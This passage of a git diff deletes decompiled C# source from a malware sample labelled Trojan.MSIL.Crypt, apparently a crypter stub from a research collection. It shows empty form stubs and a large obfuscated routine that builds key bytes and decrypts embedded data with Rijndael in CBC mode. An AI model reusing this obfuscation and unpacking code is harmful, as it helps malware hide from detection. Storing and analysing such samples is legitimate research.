blaWKLdIX; - private Label \u0030ATpRgOlm; - private Panel \u0030gryDiF4E; - private Label rI5HST0qG; - private BackgroundWorker aG0X6xR77; - private Button e914mxjah; - private string kPWEWstEh; - private bool hZlveCpgJ; - private string WAg1hW0Pl; - private string ra52a4HMv; - private ProgressBar S4QAaB040; - private Exception L9Qa3xL7a; - - [MethodImpl(MethodImplOptions.NoInlining)] - public Ll83YO8eqnqhEteIfC([In] Exception obj0, [In] bool obj1, [In] string obj2, [In] string obj3, [In] string obj4) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void \u0038V86rIGjo([In] Control obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void B5PqZKD3x([In] object obj0, [In] RunWorkerCompletedEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void GV0SDAE8F([In] object obj0, [In] FormClosingEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void P6Wt3riVR([In] object obj0, [In] PaintEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void duwLblChk() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void osqYU8eYW([In] object obj0, [In] EventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void UUm8PsflX([In] object obj0, [In] DoWorkEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void mZOK7fXCU([In] object obj0, [In] EventArgs obj1) - { - } - - static Ll83YO8eqnqhEteIfC() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/bWRCo3Y0Hy2hBomKFB/B9rxMbR0hwfIBnkWev.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/bWRCo3Y0Hy2hBomKFB/B9rxMbR0hwfIBnkWev.cs deleted file mode 100644 index dd8c2487..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/bWRCo3Y0Hy2hBomKFB/B9rxMbR0hwfIBnkWev.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: bWRCo3Y0Hy2hBomKFB.B9rxMbR0hwfIBnkWev -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using w4HscHkVC8kusVwrdY; - -namespace bWRCo3Y0Hy2hBomKFB -{ - internal class B9rxMbR0hwfIBnkWev : Form - { - private Label P6Wt3riVR; - private PictureBox duwLblChk; - private Label osqYU8eYW; - private Button UUm8PsflX; - private Panel mZOK7fXCU; - - [MethodImpl(MethodImplOptions.NoInlining)] - public B9rxMbR0hwfIBnkWev([In] DateTime obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void \u0038V86rIGjo() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void B5PqZKD3x([In] object obj0, [In] PaintEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void GV0SDAE8F([In] object obj0, [In] EventArgs obj1) - { - } - - static B9rxMbR0hwfIBnkWev() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/qbthIFg217SEo0LKSP/AwZ40wJLUtNiDZwTOG.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/qbthIFg217SEo0LKSP/AwZ40wJLUtNiDZwTOG.cs deleted file mode 100644 index 111d6e99..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/qbthIFg217SEo0LKSP/AwZ40wJLUtNiDZwTOG.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: qbthIFg217SEo0LKSP.AwZ40wJLUtNiDZwTOG -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System.Collections.Generic; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using w4HscHkVC8kusVwrdY; - -namespace qbthIFg217SEo0LKSP -{ - internal static class AwZ40wJLUtNiDZwTOG - { - private static Dictionary GV0SDAE8F; - private static Dictionary P6Wt3riVR; - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void \u0038V86rIGjo() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string B5PqZKD3x([In] string obj0) => (string) null; - - static AwZ40wJLUtNiDZwTOG() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/w4HscHkVC8kusVwrdY/GeQKoeh9BTa5jMZgSa.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/w4HscHkVC8kusVwrdY/GeQKoeh9BTa5jMZgSa.cs deleted file mode 100644 index a840b4ce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/w4HscHkVC8kusVwrdY/GeQKoeh9BTa5jMZgSa.cs +++ /dev/null @@ -1,5343 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: w4HscHkVC8kusVwrdY.GeQKoeh9BTa5jMZgSa -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace w4HscHkVC8kusVwrdY -{ - internal class GeQKoeh9BTa5jMZgSa - { - private static byte[] GiMB6EvjV = new byte[0]; - private static byte[] WLtojZOVF = new byte[0]; - private static byte[] JxruE1ulY = new byte[0]; - private static byte[] Sl3javtNo = new byte[0]; - private static IntPtr e4Qs9qnDq = IntPtr.Zero; - private static IntPtr \u0035SfgXcnsH = IntPtr.Zero; - private static object lXyN35IX8 = (object) new string[0]; - private static int[] \u0038Rv7kb4Nr = new int[0]; - private static int kvwF8yYaI = 1; - private static bool Bmebl81Sb = false; - private static SortedList soSiac6qA = new SortedList(); - private static int uN7h5PIpB = 0; - private static long X4uZMRcIF = 0; - internal static GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ tE4InJRtL = (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ) null; - internal static GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ EJBGECnBT = (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ) null; - private static long \u0038pwDLUuUH = 0; - private static int \u0037JhnbSeYu = 0; - private static byte[][] myWOkssH9 = new byte[0][]; - private static long[] O7UMIrWKl = new long[0]; - private static bool E0WCSSJ5g = false; - private static IntPtr TCBfgPeQj = IntPtr.Zero; - - [MethodImpl(MethodImplOptions.NoInlining)] - static GeQKoeh9BTa5jMZgSa() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void P0ZVZGccHvKxb() - { - } - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - static string \u0038V86rIGjo([In] int obj0) - { - int num1 = 43; -label_329: - while (true) - { - int num2 = num1; -label_330: - byte[] numArray1; - int num3; - int num4; - int num5; - byte[] numArray2; - BinaryReader binaryReader; - int num6; - byte[] numArray3; - byte[] numArray4; - CryptoStream cryptoStream; - RijndaelManaged rijndaelManaged; - byte[] numArray5; - int num7; - MemoryStream memoryStream; - ICryptoTransform transform; - while (true) - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - int num8 = num2; - while (true) - { - switch (num8) - { - case 0: - numArray1[1] = (byte) num4; - num2 = 177; - if (true) - goto label_330; - else - goto case 213; - case 1: - numArray2[30] = (byte) num3; - num2 = 234; - if (true) - goto label_330; - else - goto case 91; - case 2: - goto label_14; - case 3: - goto label_250; - case 4: - goto label_54; - case 5: - goto label_241; - case 6: - goto label_323; - case 7: - goto label_71; - case 8: - numArray2[19] = (byte) (200 - 66); - num8 = 48; - continue; - case 9: - numArray2[8] = (byte) (50 + 66); - num8 = 305; - continue; - case 10: - numArray1[9] = (byte) num5; - num8 = 222; - continue; - case 11: - goto label_123; - case 12: - goto label_39; - case 13: - goto label_163; - case 14: - goto label_18; - case 15: - numArray1[8] = (byte) (172 - 57); - num8 = 149; - continue; - case 16: - goto label_278; - case 17: - goto label_197; - case 18: - numArray2[17] = (byte) (45 + 43); - num8 = 315; - continue; - case 19: - numArray2[18] = (byte) num3; - num8 = 176; - continue; - case 20: - goto label_249; - case 21: - goto label_203; - case 22: - goto label_167; - case 23: - goto label_305; - case 24: - goto label_138; - case 25: - num4 = 69 + 34; - num8 = 244; - continue; - case 26: - goto label_100; - case 27: - GeQKoeh9BTa5jMZgSa.JxruE1ulY = (byte[]) GeQKoeh9BTa5jMZgSa.tSqBu2XDEatfXsaNqo((object) memoryStream); - num8 = 92; - continue; - case 28: - goto label_316; - case 29: - goto label_166; - case 30: - goto label_142; - case 31: - goto label_277; - case 32: - goto label_227; - case 33: - numArray5 = (byte[]) GeQKoeh9BTa5jMZgSa.tpww1o5Qikcv1gwXO6((object) binaryReader, (int) GeQKoeh9BTa5jMZgSa.\u0031rh9QdOp2YNJXn7H14(GeQKoeh9BTa5jMZgSa.QUBRhxL2QZ6RDyGsJt((object) binaryReader))); - num8 = 194; - continue; - case 34: - num6 = 147 - 49; - num8 = 113; - continue; - case 35: - goto label_154; - case 36: - num3 = 207 - 69; - num2 = 303; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 330; - else - goto label_330; - case 37: - goto label_232; - case 38: - goto label_266; - case 39: - num6 = 133 - 76; - num8 = 3; - continue; - case 40: - goto label_325; - case 41: - num5 = 135 - 45; - num8 = 292; - continue; - case 42: - case 65: - goto label_126; - case 43: - if (GeQKoeh9BTa5jMZgSa.JxruE1ulY.Length == 0) - { - num8 = 238; - continue; - } - goto label_139; - case 44: - num3 = 121 + 40; - num8 = 286; - continue; - case 45: - num6 = 17 + 38; - num8 = 158; - continue; - case 46: - goto label_206; - case 47: - numArray2[28] = (byte) (124 + 80); - num8 = 165; - continue; - case 48: - num3 = 66 + 114; - num2 = 144; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 246; - else - goto label_330; - case 49: - numArray2[12] = (byte) num6; - num2 = 209; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto case 8; - else - goto label_330; - case 50: - goto label_193; - case 51: - numArray2[12] = (byte) num3; - num2 = 309; - if (true) - goto label_330; - else - goto case 215; - case 52: - numArray1[3] = (byte) num5; - num8 = 85; - continue; - case 53: - goto label_5; - case 54: - goto label_208; - case 55: - numArray1[0] = (byte) (156 + 53); - num8 = 330; - continue; - case 56: - goto label_335; - case 57: - goto label_96; - case 58: - goto label_181; - case 59: - num4 = 156 - 52; - num8 = 135; - continue; - case 60: - num3 = 107 - 57; - num8 = 212; - continue; - case 61: - numArray2[11] = (byte) (122 - 99); - num8 = 266; - continue; - case 62: - goto label_327; - case 63: - goto label_358; - case 64: - numArray1[3] = (byte) (162 - 54); - num8 = 25; - continue; - case 66: - goto label_73; - case 67: - numArray2[29] = (byte) num3; - num8 = 23; - continue; - case 68: - goto label_43; - case 69: - numArray2[24] = (byte) num6; - num2 = 153; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 176; - case 70: - goto label_296; - case 71: - goto label_34; - case 72: - goto label_282; - case 73: - goto label_91; - case 74: - goto label_283; - case 75: - numArray2[2] = (byte) num3; - num8 = 218; - continue; - case 76: - numArray3[11] = numArray4[5]; - num2 = 168; - if (true) - goto label_330; - else - goto case 15; - case 77: - goto label_307; - case 78: - goto label_141; - case 79: - goto label_306; - case 80: - num6 = 151 - 50; - num8 = 299; - continue; - case 81: - numArray1[6] = (byte) (145 - 48); - num8 = 121; - continue; - case 82: - goto label_255; - case 83: - goto label_38; - case 84: - goto label_137; - case 85: - goto label_149; - case 86: - goto label_12; - case 87: - case 162: - goto label_150; - case 88: - num5 = 194 - 64; - num8 = 10; - continue; - case 89: - goto label_93; - case 90: - num6 = 157 - 52; - num8 = 103; - continue; - case 91: - numArray1[1] = (byte) num5; - num8 = 328; - continue; - case 92: - goto label_336; - case 93: - numArray2[5] = (byte) (175 - 58); - num8 = 324; - continue; - case 94: - // ISSUE: type reference - numArray4 = (byte[]) GeQKoeh9BTa5jMZgSa.Y1jGWSZ8Gx13IURXcg(GeQKoeh9BTa5jMZgSa.\u0031bOmsUeXkKYDqYVFim((object) GeQKoeh9BTa5jMZgSa.iIVIk6SvUgD0JTVAnk(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)); - num8 = 302; - continue; - case 95: - GeQKoeh9BTa5jMZgSa.HS1qifu5iQ97IrvAkk((object) rijndaelManaged, CipherMode.CBC); - num8 = 72; - continue; - case 96: - numArray2[26] = (byte) (133 - 44); - num8 = 109; - continue; - case 97: - goto label_312; - case 98: - if (numArray4.Length > 0) - { - num8 = 223; - continue; - } - goto label_357; - case 99: - goto label_44; - case 100: - numArray2[1] = (byte) (67 + 15); - num2 = 264; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 314; - case 101: - goto label_271; - case 102: - goto label_174; - case 103: - goto label_130; - case 104: - goto label_231; - case 105: - goto label_217; - case 106: - goto label_133; - case 107: - GeQKoeh9BTa5jMZgSa.D3I4XMFcpfqKequoNr((object) binaryReader); - num8 = 297; - continue; - case 108: - numArray2[13] = (byte) (236 - 78); - num8 = 270; - continue; - case 109: - num6 = 190 - 63; - num2 = 17; - if (true) - goto label_330; - else - goto case 33; - case 110: - goto label_290; - case 111: - goto label_89; - case 112: - goto label_334; - case 113: - goto label_152; - case 114: - numArray2[17] = (byte) (177 + 70); - num8 = 182; - continue; - case 115: - numArray3[15] = numArray4[7]; - num8 = 240; - continue; - case 116: - numArray2[26] = (byte) (75 + 22); - num8 = 60; - continue; - case 117: - goto label_224; - case 118: - goto label_165; - case 119: - goto label_297; - case 120: - goto label_59; - case 121: - goto label_229; - case 122: - numArray1[12] = (byte) num5; - num8 = 282; - continue; - case 123: - goto label_257; - case 124: - numArray2[27] = (byte) num3; - num2 = 39; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto case 334; - else - goto label_330; - case 125: - goto label_212; - case 126: - goto label_135; - case (int) sbyte.MaxValue: - goto label_242; - case 128: - goto label_253; - case 129: - goto label_318; - case 130: - goto label_220; - case 131: - numArray2[3] = (byte) (89 + 40); - num8 = 4; - continue; - case 132: - numArray2[28] = (byte) num3; - num8 = (int) sbyte.MaxValue; - continue; - case 133: - numArray2[24] = (byte) num3; - num2 = 161; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 107; - case 134: - goto label_118; - case 135: - numArray1[0] = (byte) num4; - num2 = 170; - if (true) - goto label_330; - else - goto case 270; - case 136: - goto label_291; - case 137: - num6 = 249 - 83; - num8 = 189; - continue; - case 138: - goto label_110; - case 139: - numArray2[16] = (byte) (185 + 54); - num8 = 18; - continue; - case 140: - numArray1[14] = (byte) (165 - 55); - num8 = 41; - continue; - case 141: - numArray1[2] = (byte) num5; - num8 = 346; - continue; - case 142: - goto label_11; - case 143: - numArray2[25] = (byte) (96 + 43); - num2 = 307; - if (true) - goto label_330; - else - goto case 214; - case 144: - goto label_195; - case 145: - numArray2[10] = (byte) num6; - num8 = 13; - continue; - case 146: - goto label_341; - case 147: - numArray2[0] = (byte) num3; - num8 = 80; - continue; - case 148: - goto label_276; - case 149: - numArray1[8] = (byte) (173 + 76); - num2 = 88; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 143; - case 150: - goto label_136; - case 151: - goto label_261; - case 152: - goto label_230; - case 153: - goto label_311; - case 154: - numArray2[29] = (byte) num3; - num8 = 171; - continue; - case 155: - goto label_264; - case 156: - numArray2[6] = (byte) (152 - 50); - num8 = 117; - continue; - case 157: - numArray1[11] = (byte) (81 + 14); - num8 = 325; - continue; - case 158: - goto label_319; - case 159: - goto label_221; - case 160: - num3 = 25 + 71; - num8 = 19; - continue; - case 161: - goto label_328; - case 163: - numArray2[15] = (byte) (88 + 116); - num2 = 36; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 27; - else - goto label_330; - case 164: - goto label_30; - case 165: - num3 = 150 - 50; - num8 = 132; - continue; - case 166: - goto label_170; - case 167: - num3 = 100 - 86; - num8 = 301; - continue; - case 168: - goto label_244; - case 169: - num6 = 35 + 108; - num8 = 86; - continue; - case 170: - numArray1[0] = (byte) (211 - 70); - num8 = 55; - continue; - case 171: - goto label_128; - case 172: - goto label_85; - case 173: - num6 = 107 + 43; - num8 = 190; - continue; - case 174: - numArray2[16] = (byte) num6; - num8 = 220; - continue; - case 175: - goto label_56; - case 176: - numArray2[18] = (byte) (140 - 46); - num8 = 213; - continue; - case 177: - goto label_37; - case 178: - goto label_19; - case 179: - goto label_21; - case 180: - num3 = 27 + 75; - num8 = 20; - continue; - case 181: - numArray2[31] = (byte) num6; - num8 = 102; - continue; - case 182: - numArray2[18] = (byte) (233 - 77); - num2 = 12; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto case 19; - else - goto label_330; - case 183: - num3 = 15 - 3; - num2 = 1; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 165; - else - goto label_330; - case 184: - numArray2[28] = (byte) num6; - num8 = 47; - continue; - case 185: - numArray2[2] = (byte) num3; - num8 = 138; - continue; - case 186: - goto label_90; - case 187: - goto label_285; - case 188: - numArray1[7] = (byte) num4; - num2 = 242; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 180; - case 189: - numArray2[17] = (byte) num6; - num8 = 114; - continue; - case 190: - goto label_122; - case 191: - num6 = 61 + 65; - num8 = 181; - continue; - case 192: - goto label_351; - case 193: - goto label_240; - case 194: - goto label_109; - case 195: - numArray2[17] = (byte) num6; - num2 = 137; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 100; - case 196: - goto label_114; - case 197: - numArray2[3] = (byte) num6; - num2 = 193; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 301; - case 198: - numArray1[4] = (byte) num5; - num8 = 281; - continue; - case 199: - numArray2[12] = (byte) (236 + 10); - num8 = 285; - continue; - case 200: - goto label_116; - case 201: - numArray2[10] = (byte) (161 - 53); - num2 = 172; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 198; - case 202: - goto label_32; - case 203: - goto label_314; - case 204: - numArray2[27] = (byte) (207 - 69); - num8 = 155; - continue; - case 205: - goto label_179; - case 206: - goto label_188; - case 207: - goto label_176; - case 208: - goto label_199; - case 209: - num3 = 2 + 42; - num8 = 51; - continue; - case 210: - numArray2[2] = (byte) num6; - num2 = 233; - if (true) - goto label_330; - else - goto case 43; - case 211: - goto label_207; - case 212: - goto label_313; - case 213: - numArray2[18] = (byte) (199 - 112); - num2 = 8; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto case 296; - else - goto label_330; - case 214: - num6 = 122 + 71; - num8 = 331; - continue; - case 215: - numArray1[13] = (byte) num5; - num2 = 284; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 133; - case 216: - goto label_157; - case 217: - goto label_324; - case 218: - goto label_200; - case 219: - goto label_28; - case 220: - goto label_238; - case 221: - goto label_162; - case 222: - goto label_246; - case 223: - goto label_76; - case 224: - numArray1[14] = (byte) num5; - num2 = 97; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto case 81; - else - goto label_330; - case 225: - goto label_172; - case 226: - num3 = 88 + 33; - num8 = 30; - continue; - case 227: - numArray1[5] = (byte) num5; - num2 = 81; - if (true) - goto label_330; - else - goto case 167; - case 228: - goto label_104; - case 229: - numArray2[23] = (byte) num6; - num8 = 105; - continue; - case 230: - numArray2[1] = (byte) num3; - num2 = 217; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 260; - case 231: - goto label_145; - case 232: - goto label_155; - case 233: - num3 = 100 + 112; - num8 = 75; - continue; - case 234: - num6 = 165 - 55; - num8 = 326; - continue; - case 235: - goto label_68; - case 236: - goto label_97; - case 237: - numArray2[29] = (byte) num6; - num8 = 274; - continue; - case 238: - goto label_10; - case 239: - numArray2[15] = (byte) num3; - num8 = 275; - continue; - case 240: - goto label_357; - case 241: - numArray2[29] = (byte) (146 - 48); - num8 = 70; - continue; - case 242: - goto label_299; - case 243: - numArray1[12] = (byte) (17 + 76); - num2 = 273; - if (true) - goto label_330; - else - goto case 227; - case 244: - goto label_4; - case 245: - numArray1[4] = (byte) num5; - num2 = 53; - if (true) - goto label_330; - else - goto case 248; - case 246: - numArray2[1] = (byte) num6; - num8 = 257; - continue; - case 247: - goto label_349; - case 248: - numArray1[11] = (byte) num5; - num8 = 250; - continue; - case 249: - goto label_46; - case 250: - goto label_173; - case 251: - goto label_302; - case 252: - numArray1[11] = (byte) num4; - num8 = 243; - continue; - case 253: - goto label_247; - case 254: - goto label_53; - case (int) byte.MaxValue: - goto label_178; - case 256: - goto label_322; - case 257: - num3 = 137 + 3; - num2 = 298; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 94; - case 258: - goto label_51; - case 259: - goto label_27; - case 260: - numArray2[22] = (byte) (231 - 114); - num8 = 339; - continue; - case 261: - goto label_77; - case 262: - goto label_248; - case 263: - goto label_79; - case 264: - num3 = 114 + 69; - num8 = 230; - continue; - case 265: - goto label_20; - case 266: - goto label_254; - case 267: - goto label_66; - case 268: - goto label_168; - case 269: - goto label_101; - case 270: - numArray2[13] = (byte) (133 - 107); - num8 = 136; - continue; - case 271: - numArray2[21] = (byte) (99 + 120); - num2 = 90; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 139; - case 272: - goto label_129; - case 273: - goto label_111; - case 274: - numArray2[30] = (byte) (51 + 71); - num8 = 249; - continue; - case 275: - goto label_117; - case 276: - numArray1[4] = (byte) num5; - num8 = 329; - continue; - case 277: - goto label_3; - case 278: - goto label_183; - case 279: - goto label_131; - case 280: - goto label_88; - case 281: - goto label_353; - case 282: - goto label_270; - case 283: - goto label_186; - case 284: - goto label_182; - case 285: - goto label_92; - case 286: - numArray2[22] = (byte) num3; - num2 = 260; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 95; - case 287: - goto label_352; - case 288: - goto label_49; - case 289: - num5 = 64 + 89; - num8 = 28; - continue; - case 290: - num6 = 77 + 60; - num8 = 237; - continue; - case 291: - goto label_113; - case 292: - goto label_7; - case 293: - goto label_127; - case 294: - num4 = 108 + 11; - num2 = 188; - if (true) - goto label_330; - else - goto case 163; - case 295: - numArray2[8] = (byte) (172 - 57); - num8 = 9; - continue; - case 296: - numArray1[4] = (byte) (157 - 52); - num2 = 211; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 48; - case 297: - goto label_139; - case 298: - goto label_169; - case 299: - goto label_326; - case 300: - goto label_72; - case 301: - numArray2[7] = (byte) num3; - num8 = 310; - continue; - case 302: - if (numArray4 != null) - { - num2 = 98; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 286; - else - goto label_330; - } - else - goto label_357; - case 303: - numArray2[15] = (byte) num3; - num2 = 56; - if (true) - goto label_330; - else - goto case 237; - case 304: - goto label_189; - case 305: - numArray2[8] = (byte) (123 + 76); - num2 = 112; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto label_330; - else - goto case 239; - case 306: - goto label_258; - case 307: - goto label_26; - case 308: - goto label_159; - case 309: - numArray2[12] = (byte) (240 - 80); - num2 = 343; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 209; - case 310: - numArray2[8] = (byte) (64 + 89); - num2 = 295; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 0; - else - goto label_330; - case 311: - goto label_124; - case 312: - goto label_151; - case 313: - goto label_112; - case 314: - numArray2[4] = (byte) num6; - num8 = 259; - continue; - case 315: - goto label_50; - case 316: - goto label_315; - case 317: - goto label_146; - case 318: - goto label_8; - case 319: - num3 = 5 + 51; - num8 = 340; - continue; - case 320: - num3 = 43 + 64; - num8 = 207; - continue; - case 321: - goto label_52; - case 322: - goto label_60; - case 323: - goto label_284; - case 324: - goto label_333; - case 325: - goto label_67; - case 326: - goto label_223; - case 327: - goto label_45; - case 328: - goto label_175; - case 329: - goto label_187; - case 330: - num5 = 67 + 15; - num2 = 91; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_330; - else - goto case 80; - case 331: - numArray2[15] = (byte) num6; - num2 = 34; - if (true) - goto label_330; - else - goto case 44; - case 332: - goto label_225; - case 333: - numArray1[12] = (byte) num5; - num8 = 68; - continue; - case 334: - numArray2[25] = (byte) (236 - 78); - num8 = 143; - continue; - case 335: - goto label_251; - case 336: - goto label_9; - case 337: - goto label_86; - case 338: - numArray2[11] = (byte) (143 - 47); - num8 = 196; - continue; - case 339: - goto label_87; - case 340: - numArray2[2] = (byte) num3; - num2 = 277; - if (!GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - goto case 319; - else - goto label_330; - case 341: - goto label_98; - case 342: - numArray2[5] = (byte) num3; - num8 = 247; - continue; - case 343: - goto label_198; - case 344: - goto label_205; - case 345: - goto label_262; - case 346: - goto label_1; - case 347: - goto label_350; - case 348: - goto label_354; - default: - goto label_332; - } - } -label_53: - numArray3 = numArray1; - num2 = 94; - if (true) - continue; -label_54: - num6 = 72 + 24; - num2 = 262; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - continue; -label_127: - numArray2[21] = (byte) num6; - num2 = 318; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_162; -label_71: - numArray1[5] = (byte) (45 + 53); - num2 = 187; - } - while (true); - goto label_72; -label_138: - numArray2[6] = (byte) (120 + 108); - num2 = (int) byte.MaxValue; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_271; -label_100: - num5 = 24 + 75; - num2 = 122; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_101; -label_277: - numArray2[6] = (byte) num6; - num2 = 50; - } - while (true); - goto label_278; -label_227: - num6 = 9 + 2; - GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3(); - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - { - num2 = 65; - if (true) - continue; - } - else - goto label_134; -label_229: - numArray1[6] = (byte) (187 - 62); - num2 = 253; - if (true) - continue; -label_230: - numArray2[30] = (byte) num3; - num2 = 183; - if (true) - continue; -label_231: - num5 = 